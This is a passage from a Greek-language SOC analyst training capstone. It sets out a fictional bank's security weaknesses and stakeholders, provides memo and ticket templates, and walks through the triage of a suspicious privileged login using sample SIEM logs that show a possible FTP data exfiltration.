- Διαχειριστείτε την ταξινόμηση των ειδοποιήσεων, τη βασική έρευνα και την ανασκόπηση των αρχείων καταγραφής.
- Καταγράφουν τα ευρήματα στο σύστημα έκδοσης εισιτηρίων SOC.

2. **Επίπεδο 2 – Ανώτεροι αναλυτές SOC:**
   - Επικύρωση των αναφορών.
   - Διεξάγετε εις βάθος εγκληματολογική ανάλυση.
   - Λήψη αποφάσεων σχετικά με τα μέτρα περιορισμού και εξάλειψης.
3. **Επίπεδο 3 – Ομάδα Αντιμετώπισης Περιστατικών (IR) και CISO:**
   - Διαχείριση σύνθετων ή σοβαρών περιστατικών.
   - Διαχειρίζεται την επικοινωνία με τα στελέχη, το τμήμα Ανθρώπινου Δυναμικού, το Νομικό Τμήμα και τους εξωτερικούς ρυθμιστικούς φορείς.

Εργαλεία στη διάθεσή σας

Θα έχετε πρόσβαση σε:

- **Πλατφόρμα SIEM** (Διαχείριση πληροφοριών και συμβάντων ασφαλείας) – Κεντρική ειδοποίηση και συσχέτιση αρχείων καταγραφής.
- **Ανίχνευση και απόκριση τερματικών (EDR)** – Ειδοποιήσεις για κακόβουλο λογισμικό και τερματικά.
- **Εργαλεία παρακολούθησης δικτύου** – Τείχη προστασίας, αρχεία καταγραφής IDS/IPS, καταγραφή πακέτων.
- **Εργαλεία εγκληματολογικής ανάλυσης** – Βοηθητικά προγράμματα καταγραφής μνήμης, επαλήθευση κατακερματισμού.
- **Συστήματα συνεργασίας** – Σύστημα έκδοσης εισιτηρίων, κανάλια συνομιλίας, πρότυπα αναφορών.

Πώς μοιάζει η επιτυχία

Ως Junior SOC Analyst, η απόδοσή σας αξιολογείται με βάση:

- **Ακρίβεια** – Ταξινομείτε σωστά τις ειδοποιήσεις και αποφεύγετε τα ψευδώς θετικά/αρνητικά αποτελέσματα;
- **Επικαιρότητα** – Ανταποκρίνεστε και προωθείτε τα ζητήματα γρήγορα όταν απαιτείται;
- **Σαφήνεια** – Είναι οι αναφορές και οι σημειώσεις σας λεπτομερείς, επαγγελματικές και εύκολες στην κατανόηση;

- **Συνεργασία** – Επικοινωνείτε αποτελεσματικά με τους ανώτερους αναλυτές και τις ομάδες IT;

Άσκηση: Οι προτεραιότητές σας την πρώτη μέρα

Φανταστείτε ότι είναι **η πρώτη** σας **μέρα στη δουλειά** στη NexaBank. Κατατάξτε τις ακόλουθες ευθύνες κατά σειρά σπουδαιότητας (1 = πιο σημαντική, 5 = λιγότερο σημαντική). Στη συνέχεια, εξηγήστε τη λογική σας.

- Παρακολούθηση ειδοποιήσεων
- Διερεύνηση ύποπτων δραστηριοτήτων
- Τεκμηρίωση ευρημάτων
- Αναφορά επιβεβαιωμένων περιστατικών
- Επικοινωνία με τα ενδιαφερόμενα μέρη

1. _____
2. _____
3. _____
4. _____
5. _____

Γιατί;

_____

_____

_____

Σημείο ελέγχου: Ενότητα 1.3
Πριν προχωρήσετε στην Ενότητα 1.4, βεβαιωθείτε ότι μπορείτε:

- Εξηγήσετε τον ρόλο ενός Junior SOC Analyst στη NexaBank.
- Περιγράψετε τη διαδικασία αναφοράς προβλημάτων από το Επίπεδο 1 → Επίπεδο 3.
- Προσδιορίσετε τα κύρια εργαλεία που θα χρησιμοποιείτε.
- Σκεφτείτε πώς θα ιεραρχούσατε τις ευθύνες σας.

1.4 Γνωστοί κίνδυνοι και αδύνατα σημεία – Το τοπίο ευπάθειας της NexaBank

Επισκόπηση

Κάθε οργανισμός έχει **«χρέος ασφάλειας»** — κενά στην προστασία που μπορούν να εκμεταλλευτούν οι επιτιθέμενοι. Στη NexaBank, πρόσφατες εσωτερικές αξιολογήσεις και ευρήματα του SOC έχουν επισημάνει διάφορους **γνωστούς κινδύνους**.
Ως Junior SOC Analyst, πρέπει να τα έχετε υπόψη σας κατά την εξέταση των ειδοποιήσεων, καθώς μπορεί να εξηγούν τον τρόπο με τον οποίο οι επιτιθέμενοι αποκτούν αρχική πρόσβαση ή παραμένουν μέσα στο δίκτυο.

1.4.1 Καθυστέρηση στην εγκατάσταση ενημερώσεων

- **Πρόβλημα:** Λόγω έλλειψης προσωπικού, οι κύκλοι εγκατάστασης ενημερώσεων καθυστερούν συχνά **30–60 ημέρες** σε σχέση με τις κυκλοφορίες των προμηθευτών.
- **Επίδραση:** Γνωστές ευπάθειες παραμένουν χωρίς ενημερώσεις, καθιστώντας τη NexaBank πρωταρχικό στόχο για εκμετάλλευση (π.χ. διακομιστές VPN χωρίς ενημερώσεις, ελαττώματα Windows RDP, ευπάθειες API).
- **Πιθανές επιθέσεις:** Κιτ εκμετάλλευσης, απομακρυσμένη εκτέλεση κώδικα, κλιμάκωση προνομίων.

1.4.2 Κίνδυνοι για το απομακρυσμένο εργατικό δυναμικό

- **Πρόβλημα:** Περίπου **το 30% των υπαλλήλων εργάζεται εξ αποστάσεως**, συνδέοντας μέσω VPN και υπηρεσιών cloud.
- **Επίπτωση:** Αυξημένη εξάρτηση από ασφαλείς διαμορφώσεις VPN και ασφάλεια τερματικών συσκευών — και τα δύο τα οποία δεν διαχειρίζονται με συνέπεια.
- **Πιθανές επιθέσεις:** Κλοπή διαπιστευτηρίων VPN, μη ασφαλής χρήση Wi-Fi, εκστρατείες phishing εναντίον απομακρυσμένου προσωπικού.

1.4.3 Κενά πολιτικής

- **Πρόβλημα:** Οι πολιτικές **αποδεκτής χρήσης** και **κλειδώματος λογαριασμών** της NexaBank είναι ξεπερασμένες. Οι απαιτήσεις για τους κωδικούς πρόσβασης είναι αδύναμες και τα κλειδώματα δεν επιβάλλονται.

- **Επίπτωση:** Είναι ευκολότερο για τους επιτιθέμενους να παραβιάσουν λογαριασμούς με τη μέθοδο brute-force ή να επαναχρησιμοποιήσουν κλεμμένα διαπιστευτήρια.
- **Πιθανές επιθέσεις:** Credential stuffing, password spraying, κατάληψη λογαριασμών.

1.4.4 Κάλυψη προστασίας τερματικών

- **Πρόβλημα:** Το λογισμικό προστασίας τερματικών δεν έχει εγκατασταθεί με συνέπεια σε όλους τους απομακρυσμένους φορητούς υπολογιστές και σε ορισμένους υπολογιστές προγραμματιστών.
- **Επίπτωση:** Το κακόβουλο λογισμικό ενδέχεται να μην ανιχνευθεί, ενώ οι μηχανισμοί επιμονής μπορεί να παραμείνουν κρυμμένοι.
- **Πιθανές επιθέσεις:** Keyloggers, trojans, ransomware footholds.

1.4.5 Διαχείριση λογαριασμών με προνόμια

- **Πρόβλημα:** Οι λογαριασμοί με δικαιώματα (π.χ. διαχειριστές τομέα, διαχειριστές βάσεων δεδομένων) δεν ελέγχονται τακτικά.
- **Επίπτωση:** Ενδέχεται να υπάρχουν αδρανείς ή κακοποιημένοι λογαριασμοί, αυξάνοντας την έκταση της ζημιάς σε περίπτωση παραβίασης.
- **Πιθανές επιθέσεις:** Επέκταση προνομίων, διαρροή δεδομένων, πλευρική κίνηση.

Συνοπτικός πίνακας – Αδύνατα σημεία της NexaBank

Κίνδυνος	Επίπτωση	Πιθανή εκμετάλλευση
Καθυστερημένη εγκατάσταση ενημερώσεων διακομιστές εκτεθειμένοι σε	Ευάλωτοι επιτιθέμενους	RCE, εκμετάλλευση CVE
Απομακρυσμένο προσωπικό απομακρυσμένη	Αδύναμο VPN, ανασφαλής πρόσβαση	Κλοπή διαπιστευτηρίων, phishing, MITM
Κενά πολιτικής	Αδύναμη επιβολή κωδικών πρόσβασης/αποκλεισμού	Brute force, credential stuffing
Κάλυψη προστασίας τερματικών	Ανεπιθύμητη παραμονή κακόβουλου λογισμικού	Ransomware, keyloggers, trojans

Κίνδυνος	Επίπτωση	Πιθανή εκμετάλλευση
Διαχείριση λογαριασμών με προνόμια	Κατάχρηση αδρανών λογαριασμών/λογαριασμών με υψηλά προνόμια	Κλοπή δεδομένων, πλευρική κίνηση

Άσκηση: Κατάταξη κινδύνου

Κατατάξτε τους πέντε παραπάνω κινδύνους από **τον πιο κρίσιμο έως τον λιγότερο κρίσιμο** στο τρέχον περιβάλλον της NexaBank. Αιτιολογήστε τη λογική σας.

1. _____
2. _____
3. _____
4. _____
5. _____

Γιατί κατατάξατε το #1 ως το πιο κρίσιμο;

_____

_____

_____

Σημείο ελέγχου: Ενότητα 1.4

Πριν προχωρήσετε στην Ενότητα 1.5, βεβαιωθείτε ότι μπορείτε:

- Αναφέρετε τους πέντε κύριους γνωστούς κινδύνους της NexaBank.
- Συνδέσετε κάθε κίνδυνο με πιθανές ενέργειες εισβολέα.
- Να ιεραρχήσετε τους κινδύνους με βάση την πιθανότητα και τον αντίκτυπο.

1.5 Ενδιαφερόμενα μέρη και επιχειρηματικές επιπτώσεις – Ποιος επηρεάζεται από ένα περιστατικό;

Επισκόπηση

Τα συμβάντα κυβερνοασφάλειας σπάνια περιορίζονται στο SOC.
Στη NexaBank, οι ενέργειές σας ως Junior SOC Analyst έχουν αντίκτυπο σε πολλά τμήματα και επηρεάζουν άμεσα τόσο τους υπαλλήλους όσο και τους πελάτες.

Για να πετύχετε σε αυτό το Capstone, πρέπει να σκεφτείτε όχι μόνο τον **τεχνικό περιορισμό**, αλλά και **την επιχειρηματική επικοινωνία**. Κάθε ενδιαφερόμενος έχει μοναδικές ανησυχίες — και οι αναφορές σας πρέπει να τις αντιμετωπίζουν με σαφήνεια.

Κύριοι ενδιαφερόμενοι στη NexaBank

Ενδιαφερόμενος	Ρόλος	Τι χρειάζονται	Πώς επηρεάζονται από τα περιστατικά
IT Λειτουργίες	Συντήρηση υποδομής, διακομιστών, αντιγράφων ασφαλείας	Έγκαιρες ειδοποιήσεις σχετικά με τα επηρεαζόμενα συστήματα, οδηγίες για περιορισμό και εφαρμογή ενημερώσεων	Επιπλέον φόρτος εργασίας για την εφαρμογή ενημερώσεων, τον απομονωτισμό διακομιστών, την επαναφορά αντιγράφων ασφαλείας
Ανθρώπινο Δυναμικό	Διαχείριση υπαλλήλων και πολιτικών	Ενημέρωση σε περίπτωση συμβάντος που περιλαμβάνει συσκευές συσκευές, λογαριασμούς ή συμπεριφορά	Πειθαρχία των εργαζομένων, απαιτήσεις εκπαίδευσης ή αντικατάσταση συσκευών
Νομική συμμόρφωση	Διασφάλιση ότι η NexaBank συμμόρφωση με νόμους/κανονισμούς	Ακριβής τεκμηρίωση, χρονοδιαγράμματα και εύρος έκθεσης δεδομένων	Ενδέχεται να απαιτείται η υποβολή για παραβιάσεις, χειρισμός αγωγών ή συνεργασία με ρυθμιστικές αρχές
Λήψη	Στρατηγικές αποφάσεις, ενημερώσεις και (επιχειρηματική	Συνοπτικές, υψηλού επιπέδου για την επιχείρηση	Άμεση ευθύνη για δημόσια ανταπόκριση,
Ομάδ	**α**	συνέχεια	, εμπιστοσύνη πελατών, οικονομικό

κόστος)	εμπιστοσύνη, φήμη

Ρόλος των ενδιαφερομένων	Τι χρειάζονται	Πώς επηρεάζονται από τα περιστατικά
Πελάτες NexaBank	Χρησιμοποιούν τα δεδομένα ή τις υπηρεσίες της διαδικτυακές/κινητές υπηρεσίες	Σαφής επικοινωνία σε περίπτωση απώλειας εμπιστοσύνης, πιθανών λογαριασμός τα δεδομένα ή τις υπηρεσίες τους είναι επηρεάζον παραβιάσεις, ται οικονομική απάτη

Παραδείγματα επιπτώσεων στους ενδιαφερόμενους

- **Παραβίαση διακομιστή** → Το τμήμα IT Ops πρέπει να επαναφέρει τα δεδομένα από το αντίγραφο ασφαλείας· τα στελέχη θέλουν να γνωρίζουν τον αντίκτυπο του χρόνου διακοπής λειτουργίας.
- **Επίθεση phishing εναντίον του προσωπικού** → Το τμήμα Ανθρώπινου Δυναμικού ενδέχεται να χρειαστεί να επανεκπαιδεύσει τους υπαλλήλους· το νομικό τμήμα ενδέχεται να προετοιμάσει αναφορές παραβίασης.
- **Παραβίαση δεδομένων που αφορά προσωπικά δεδομένα πελατών** → Οι πελάτες χάνουν την εμπιστοσύνη τους· το νομικό τμήμα ενεργοποιεί τη διαδικασία υποβολής εκθέσεων συμμόρφωσης.

Στυλ επικοινωνίας

Όταν αναφέρετε συμβάντα, προσαρμόστε τον τρόπο επικοινωνίας σας:

- **Λειτουργίες IT:** Τεχνική, λεπτομερής, βήμα προς βήμα.
- **Ανθρώπινο δυναμικό:** Εστιασμένη στην πολιτική και στους υπαλλήλους.
- **Νομικό τμήμα:** Ακριβή χρονοδιαγράμματα, αρχεία καταγραφής, αποδεικτικά στοιχεία.
- **Στελέχη:** Επιχειρηματικά αποτελέσματα, γενική εικόνα.
- **Πελάτες:** Διαφανής, απλή, μη τεχνική.

Άσκηση: Χαρτογράφηση ενδιαφερομένων

Επιλέξτε **ένα σενάριο συμβάντος** (παράδειγμα: επίθεση phishing, εξάπλωση ransomware ή κλοπή διαπιστευτηρίων).
Για κάθε ομάδα ενδιαφερομένων, γράψτε τι θα τους ενδιέφερε περισσότερο.

- **Λειτουργίες IT:** _____
- **Ανθρώπινο δυναμικό:** _____

- **Νομικό τμήμα:** _____
- **Στελέχη:** _____
- **Πελάτες:** _____

Σημείο ελέγχου: Ενότητα 1.5
Πριν ολοκληρώσετε τη Φάση 1, βεβαιωθείτε ότι μπορείτε:

- Προσδιορίσετε τους πέντε κύριους ενδιαφερόμενους της NexaBank.
- Εξηγήσετε πώς επηρεάζεται κάθε ομάδα από τα συμβάντα.
- Προσαρμόσετε τον τρόπο αναφοράς σας ανάλογα με το κοινό.

Σύνοψη Φάσης 1 – Προετοιμασία του σκηνικού

Τι μάθατε

Σε αυτή την πρώτη φάση του Capstone, έχετε:

- Κατανοήσατε την **πρόκληση του Capstone** και τον ρόλο σας ως **Junior SOC Analyst**.
- Εξερευνήσατε **το προφίλ της NexaBank**, συμπεριλαμβανομένης της υποδομής και των λειτουργιών της.
- Μάθατε για **τις ευθύνες** σας **και τη διαδικασία αναφοράς προβλημάτων** στο SOC.
- Εξετάσατε **τους γνωστούς κινδύνους και τα αδύνατα σημεία** της NexaBank που ενδέχεται να εκμεταλλευτούν οι επιτιθέμενοι.
- Χαρτογραφήσατε **τους ενδιαφερόμενους** και τον **επιχειρηματικό αντίκτυπο** των συμβάντων κυβερνοασφάλειας.

Βασικά συμπεράσματα

- Η κυβερνοασφάλεια αφορά τόσο **την επιχειρησιακή συνέχεια και την επικοινωνία** όσο και την τεχνική άμυνα.
- Η NexaBank αντιμετωπίζει **πραγματικές αδυναμίες** (καθυστερήσεις στην εγκατάσταση ενημερώσεων, αδύναμες πολιτικές, κενά στα τερματικά) που θα πρέπει να έχετε κατά νου κατά την ανάλυση των συμβάντων.
- Κάθε ενδιαφερόμενος βλέπει τα περιστατικά από **διαφορετική οπτική γωνία**: το τμήμα IT θέλει λεπτομέρειες, τα στελέχη θέλουν να γνωρίζουν τον επιχειρηματικό αντίκτυπο, ενώ οι πελάτες θέλουν εμπιστοσύνη.
- Ως αναλυτής SOC, ο ρόλος σας βρίσκεται στο **σταυροδρόμι μεταξύ της τεχνικής ανίχνευσης και της οργανωτικής λήψης αποφάσεων**.

Παραδοτέο για τη Φάση 1

Συμπληρώστε το **Μνημόνιο Κινδύνου**, το οποίο πρέπει να περιλαμβάνει:

1. **Τους τρεις** κορυφαίους **κινδύνους που** αντιμετωπίζει επί του παρόντος η NexaBank.
2. Τουλάχιστον **έναν ενδιαφερόμενο** που θα επηρεαζόταν από κάθε κίνδυνο.
3. Μια σύντομη εξήγηση του λόγου για τον οποίο κατατάξατε τον κορυφαίο κίνδυνο ως τον πιο κρίσιμο.

Σημείο ελέγχου πριν από τη Φάση 2

Πριν προχωρήσετε, βεβαιωθείτε ότι μπορείτε:

- Εξηγήσετε την υποδομή και το επιχειρηματικό μοντέλο της NexaBank.
- Περιγράψετε τον ρόλο σας ως Junior SOC Analyst και πώς λειτουργεί η αναφορά προβλημάτων σε ανώτερα επίπεδα.
- Προσδιορίσετε τους πέντε βασικούς κινδύνους της NexaBank.
- Αντιστοιχίσετε τους ενδιαφερόμενους με τις πιθανές επιπτώσεις.
- Συμπληρώσετε και υποβάλετε το **Μνημόνιο Κινδύνου**.

Πρότυπο Μνημονίου Κινδύνου – Παραδοτέο Φάσης 1

Προς: Ανώτερος Αναλυτής Ασφάλειας, SOC της

NexaBank Από: Νεότερος Αναλυτής SOC (Εσείς)

Θέμα: Αξιολόγηση κινδύνων NexaBank – Μνημόνιο πριν από το

συμβάν Ημερομηνία: _____

1. Κορυφαίοι εντοπισθέντες κίνδυνοι

Αναφέρετε τους **τρεις πιο κρίσιμους κινδύνους που** αντιμετωπίζει επί του παρόντος η NexaBank. Χρησιμοποιήστε σαφή, επαγγελματική γλώσσα.

1. **Κίνδυνος #1:** _____
    - **Περιγραφή:** _____
    - **Γιατί είναι κρίσιμο:** _____
2. **Κίνδυνος #2:** _____
    - **Περιγραφή:** _____
    - **Γιατί είναι σημαντικό:** _____
3. **Κίνδυνος #3:** _____
    - **Περιγραφή:** _____
    - **Γιατί είναι σημαντικό:** _____

2. Επίδραση στους ενδιαφερόμενους

Για κάθε κίνδυνο, προσδιορίστε τουλάχιστον **μία ομάδα ενδιαφερομένων** που θα επηρεαστεί και εξηγήστε **με ποιον τρόπο**.

ΚίνδυνοςΕνδιαφερόμενοι που επηρεάζονται Επίδραση

Κίνδυνος #1 _____ _____

Κίνδυνος #2 _____ _____

Κίνδυνος **Ενδιαφερόμενοι που επηρεάζονται** **Επιπτώσεις**

Κίνδυνος #3 _____ _____

3. Αιτιολόγηση προτεραιοποίησης

Επιλέξτε τον **πιο κρίσιμο κίνδυνο** και εξηγήστε γιατί αξίζει την υψηλότερη προτεραιότητα.

- **Επιλεγμένος κίνδυνος:** _____
- **Αιτιολόγηση:**

---

4. Σημειώσεις αναλυτή (Προαιρετικό)

Χρησιμοποιήστε αυτήν την ενότητα για να σημειώσετε τυχόν υποθέσεις, αναπάντητα ερωτήματα ή τομείς που θα θέλατε να διερευνήσετε περαιτέρω μόλις ξεκινήσει το περιστατικό.

Λίστα ελέγχου ολοκλήρωσης

- Έχω καταγράψει τρεις βασικούς κινδύνους.
- Έχω αντιστοιχίσει κάθε κίνδυνο με τον αντίκτυπο σε έναν ενδιαφερόμενο.
- Έχω επιλέξει και αιτιολογήσει τον κίνδυνο με την υψηλότερη προτεραιότητα.
- Το σημείωμά μου είναι γραμμένο σε **σαφή, επαγγελματική γλώσσα SOC**.

Φάση 2: Ξεκινά το περιστατικό

2.1 Λήψη πρώτης ειδοποίησης – Ύποπτη σύνδεση

Σενάριο

Είναι **2:41 π.μ. μια Τετάρτη**.
Εξετάζετε τον πίνακα ελέγχου του SOC για τη νύχτα, όταν το SIEM δημιουργεί μια **ειδοποίηση υψηλής προτεραιότητας**:

- **Τύπος ειδοποίησης:** Ασυνήθιστη δραστηριότητα σύνδεσης
- **Λογαριασμός:** dbadmin
- **IP προέλευσης:** 203.0.113.41 (γεωγραφική θέση εκτός Βόρειας Αμερικής)
- **Αποτέλεσμα σύνδεσης:** Επιτυχής
- **Σύστημα στο οποίο έγινε πρόσβαση:** Διακομιστής βάσης δεδομένων HR
- **Ενεργοποιημένος κανόνας συσχέτισης:** «Σύνδεση με προνόμια εκτός ωρών εργασίας»

Η πρώτη σας αντίδραση

Ως Junior SOC Analyst, η ευθύνη σας δεν είναι να πανικοβληθείτε, αλλά να ξεκινήσετε την αξιολόγηση. Ρωτήστε τον εαυτό σας:

- Είναι **αξιόπιστη** αυτή η ειδοποίηση ή μήπως πρόκειται για **ψευδώς θετικό** αποτέλεσμα;
- Γιατί ένας **λογαριασμός με προνόμια** συνδέεται στις 2:41 π.μ.;
- Η τοποθεσία της διεύθυνσης IP είναι λογική για αυτόν τον χρήστη;
- Ποιο πρέπει να είναι το **επόμενο βήμα**: απόρριψη, παρακολούθηση ή αναφορά;

Ανάλυση ειδοποιήσεων – Βασικές παρατηρήσεις

1. **Χρήση λογαριασμού με δικαιώματα** → ο dbadmin έχει πρόσβαση σε ευαίσθητα αρχεία του τμήματος Ανθρώπινου Δυναμικού.
2. **Ύποπτη ώρα σύνδεσης** → Η δραστηριότητα εκτός των κανονικών ωρών αυξάνει τον κίνδυνο.
3. **Ξένη διεύθυνση IP** → Μπορεί να υποδηλώνει παραβίαση διαπιστευτηρίων.

4. **Επιτυχής σύνδεση** → Δεν πρόκειται απλώς για αποτυχημένη απόπειρα· ο εισβολέας ενδέχεται να βρίσκεται ήδη στο εσωτερικό του συστήματος.

Άσκηση: Αρχικές ερωτήσεις διαλογής

Συμπληρώστε τον παρακάτω πίνακα ως μέρος των πρώτων σας σημειώσεων SOC:

Ερώτηση	**Η απάντησή σας**
Ο λογαριασμός συνήθως συνδέεται αυτή την ώρα;	_____
Μήπως η διεύθυνση IP είναι νόμιμη (π.χ. VPN, υπάλληλος σε ταξίδι);	_____
Ποια δεδομένα/συστήματα θα μπορούσαν να διατρέχουν κίνδυνο αν πρόκειται για κακόβουλη ενέργεια;	
Έχει αυτή η ειδοποίηση αρκετά υψηλή προτεραιότητα ώστε να αναφερθεί αμέσως σε ανώτερο επίπεδο;	_____

Επιλογές δράσης

Ως Junior Analyst, έχετε τρεις πιθανές επιλογές:

1. **Απόρριψη** – Σημειώστε το ως ψευδώς θετικό και προχωρήστε.
2. **Παρακολούθηση** – Σημειώστε το ως ύποπτο, αλλά συνεχίστε να συλλέγετε περισσότερα δεδομένα.
3. **Αναφορά** – Ενημερώστε έναν ανώτερο αναλυτή με αιτιολόγηση.

Να θυμάστε: Οι λογαριασμοί με προνόμια + οι ασυνήθιστες συνδέσεις θεωρούνται εξ ορισμού υψηλού κινδύνου. Τα ψευδώς θετικά αποτελέσματα θα πρέπει να είναι σπάνια σε αυτό το σενάριο.

Παραδοτέο: Εισιτήριο SOC (Αρχικές σημειώσεις)

Καταγράψτε αυτό το συμβάν στο σύστημα εισιτηρίων SOC. Το εισιτήριό σας πρέπει να περιλαμβάνει:

- Λεπτομέρειες ειδοποίησης (ώρα, χρήστης, IP, σύστημα στο οποίο έγινε πρόσβαση).
- Την προκαταρκτική σας ανάλυση.
- Την προτεινόμενη ενέργεια (απόρριψη, παρακολούθηση, αναφορά σε ανώτερο επίπεδο).
- Μια σύντομη αιτιολόγηση (γιατί κάνατε αυτή την επιλογή).

Σημείο ελέγχου: Ενότητα 2.1

Πριν προχωρήσετε στην **Ενότητα 2.2: Ανάλυση αρχείων καταγραφής SIEM**, βεβαιωθείτε ότι:

- Καταγράψατε τις αρχικές σας παρατηρήσεις σχετικά με την ύποπτη σύνδεση.
- Έχετε θέσει ερωτήσεις διαλογής για να αξιολογήσετε την αξιοπιστία.
- Επιλέξατε μια συνιστώμενη ενέργεια και την αιτιολογήσατε.
- Δημιουργήσατε ένα ticket SOC με τις πρώτες σας σημειώσεις.

Πρότυπο εισιτηρίου SOC – Αρχική τεκμηρίωση ειδοποίησης

Αριθμός εισιτηρίου: _____

Ημερομηνία/ώρα ανοίγματος: _____

Όνομα αναλυτή: _____ **Πηγή**

ειδοποίησης: [ ] SIEM [ ] EDR [ ] IDS/IPS [ ] Άλλο

Επίπεδο προτεραιότητας: [ ] Χαμηλό [ ] Μέτριο [ ] Υψηλό [ ] Κρίσιμο

1. Λεπτομέρειες ειδοποίησης

- **Τύπος ειδοποίησης:** _____
- **Επηρεαζόμενο σύστημα:** _____
- **Εμπλεκόμενος χρήστης/λογαριασμός:** _____
- **IP προέλευσης / Τοποθεσία:** _____
- **Χρονοσήμανση συμβάντος:** _____
- **Κανόνας συσχέτισης που ενεργοποιήθηκε:** _____

2. Αρχικές παρατηρήσεις

- **Ασυνήθιστη δραστηριότητα:** _____
- **Γιατί είναι ύποπτη:** _____
- **Πιθανές επιπτώσεις στην επιχείρηση:** _____
- **Επίπεδο εμπιστοσύνης (Χαμηλό/Μεσαίο/Υψηλό):** _____

3. Ερωτήσεις διαλογής

Ερώτηση	**Σημειώσεις αναλυτή**
Η δραστηριότητα αντιστοιχεί στη συνήθη συμπεριφορά; _____	

Ερώτηση **Σημειώσεις αναλυτή**

Θα μπορούσε να πρόκειται για μια νόμιμη εξαίρεση; _____

_____ Ποια συστήματα ή δεδομένα διατρέχουν κίνδυνο; _____

Απαιτείται αναφορά σε ανώτερο επίπεδο; Γιατί/Γιατί όχι; _____

4. Συνιστώμενη ενέργεια

Επιλέξτε ένα:

- **Απόρριψη** – Επιβεβαιώθηκε ψευδώς θετικό αποτέλεσμα.
- **Παρακολούθηση** – Ύποπτο αλλά μη επιβεβαιωμένο. Συνεχίστε τη συλλογή δεδομένων.
- **Εσκαλάρετε** – Επιβεβαιωμένη υποψία· απαιτείται έλεγχος από ανώτερο αναλυτή.

Αιτιολόγηση της ενέργειας:

_____

_____

5. Επόμενα βήματα

- **Εργασίες παρακολούθησης:** _____
- **Επαφή αναφοράς (εάν ισχύει):** _____
- **Κατάσταση αιτήματος:** [ ] Ανοιχτό [ ] Παρακολούθηση [ ] Εσκαλάστηκε [ ] Κλειστό

Υπενθύμιση:
Κάθε εισιτήριο SOC αποτελεί μέρος του **επίσημου αρχείου συμβάντων**. Γράψτε με σαφή και επαγγελματική γλώσσα — υποθέστε ότι αυτό το έγγραφο ενδέχεται να εξεταστεί αργότερα από ανώτερους αναλυτές,
ελεγκτές ή ακόμη και νομικές ομάδες.

Αυτό το πρότυπο μπορεί πλέον να επαναχρησιμοποιηθεί σε μεταγενέστερες ενότητες της Φάσης 2 και πέραν αυτής, εξασφαλίζοντας συνέπεια καθώς εξελίσσεται το συμβάν.

2.2 Ανάλυση αρχείων καταγραφής SIEM – Εμβάθυνση

Σενάριο

Αφού καταγράψατε την ύποπτη **σύνδεση του dbadmin στις 2:41 π.μ.**, ανακτάτε επιπλέον αρχεία καταγραφής από το σύστημα SIEM (Διαχείριση Πληροφοριών και Συμβάντων Ασφαλείας) για να διερευνήσετε περαιτέρω το θέμα.

Το SIEM συσχετίζει συμβάντα από πολλαπλές πηγές — αρχεία καταγραφής ελέγχου ταυτότητας, αρχεία καταγραφής τείχους προστασίας, πράκτορες τερματικών — και τα παρουσιάζει σε ένα σημείο. Ο στόχος σας είναι να **βρείτε αποδεικτικά στοιχεία** που να επιβεβαιώνουν εάν αυτή η σύνδεση είναι:

- Ένα **ψευδώς θετικό αποτέλεσμα** (νόμιμη δραστηριότητα) ή
- Ένας **δείκτης παραβίασης (IOC)** που υποδηλώνει κακόβουλη πρόσβαση.

Βήμα 1: Ελέγξτε τα αρχεία καταγραφής ελέγχου ταυτότητας

Ξεκινάτε με τα αρχεία καταγραφής ελέγχου ταυτότητας γύρω από το συμβάν:

Δείγμα εξαγωγής SIEM – Συμβάντα πιστοποίησης

2025-09-27 02:41:13 ΕΠΙΤΥΧΗΣ ΣΥΝΔΕΣΗ dbadmin IP=203.0.113.41

27/09/2025 02:41:20 ΠΡΟΣΒΑΣΗ ΣΕ ΑΡΧΕΙΟ dbadmin HR_fileserver HR/employee_data.xlsx

27/09/2025 02:42:10 ΠΡΟΣΒΑΣΗ ΣΕ ΑΡΧΕΙΟ dbadmin HR_fileserver HR/salaries.csv

Παρατηρήσεις:

- Η σύνδεση πραγματοποιήθηκε με επιτυχία από μια **ξένη διεύθυνση IP**.
- Μέσα σε 1 λεπτό, έγινε πρόσβαση σε ευαίσθητα αρχεία του τμήματος Ανθρώπινου Δυναμικού.
- Το μοτίβο υποδηλώνει **προετοιμασία για διαρροή δεδομένων** και όχι συνήθη εργασία διαχειριστή.

Βήμα 2: Ελέγξτε τα αρχεία καταγραφής του τείχους προστασίας/δικτύου

Τα αρχεία καταγραφής του τείχους προστασίας παρέχουν πρόσθετο πλαίσιο:

Δείγμα εξαγωγής SIEM – Συμβάντα τείχους προστασίας

27/09/2025 02:43:02 ΕΞΕΡΧΟΜΕΝΗ ΣΥΝΔΕΣΗ dbadmin → FTP 198.51.100.77:21

27/09/2025 02:43:15 ΞΕΚΙΝΗΣΕ ΕΞΕΡΧΟΜΕΝΗ ΜΕΤΑΦΟΡΑ ΔΕΔΟΜΕΝΩΝ (μέγεθος: 25MB)

Παρατηρήσεις:

- Εξερχόμενη σύνδεση FTP (ασυνήθιστο πρωτόκολλο για την NexaBank).
- Μεγάλη μεταφορά ξεκίνησε λίγο μετά τη σύνδεση.
- Ισχυρές ενδείξεις **πιθανής διαρροής δεδομένων**.

Βήμα 3: Προσδιορισμός IOC

Από αυτά τα αρχεία καταγραφής, έχετε πλέον πιθανά Δείκτες Παραβίασης (IOC):

- **Ξένη διεύθυνση IP**: 203.0.113.41 (πηγή σύνδεσης).
- **IP διακομιστή FTP**: 198.51.100.77 (προορισμός μεταφοράς δεδομένων).
- **Κατάχρηση λογαριασμού**: ο dbadmin έχει πρόσβαση σε δεδομένα HR εκτός των κανονικών ωρών εργασίας.

Άσκηση: Ανάλυση αρχείων καταγραφής IOC

Συμπληρώστε τον παρακάτω πίνακα IOC με βάση τα στοιχεία που παρατηρήσατε:

IOC	**Πηγή**	**Γιατί είναι ύποπτο;**
_____	Αρχείο καταγραφής ελέγχου ταυτότητας _____	
_____	Αρχείο καταγραφής πρόσβασης	_____
_____	Αρχείο καταγραφής τείχους προστασίας	_____

Βήμα 4: Ενημέρωση του εισιτηρίου SOC

Προσθέστε αυτά τα ευρήματα στο εισιτήριο SOC σας από την Ενότητα 2.1. Φροντίστε να:

- Επισυνάψετε αποσπάσματα αρχείων καταγραφής (αυθεντικοποίησης + τείχους προστασίας).
- Καταγράψετε τα IOC που εντοπίστηκαν.
- Αυξήσετε το επίπεδο εμπιστοσύνης σας (πιθανότατα δεν πρόκειται για ψευδώς θετικό αποτέλεσμα).
- Αποφασίσετε αν θα **το αναφέρετε αμέσως** σε έναν ανώτερο αναλυτή.

Σημείο ελέγχου: Ενότητα 2.2

Πριν προχωρήσετε στην **Ενότητα 2.3: Εμφάνιση πολλαπλών ειδοποιήσεων**, βεβαιωθείτε ότι μπορείτε:

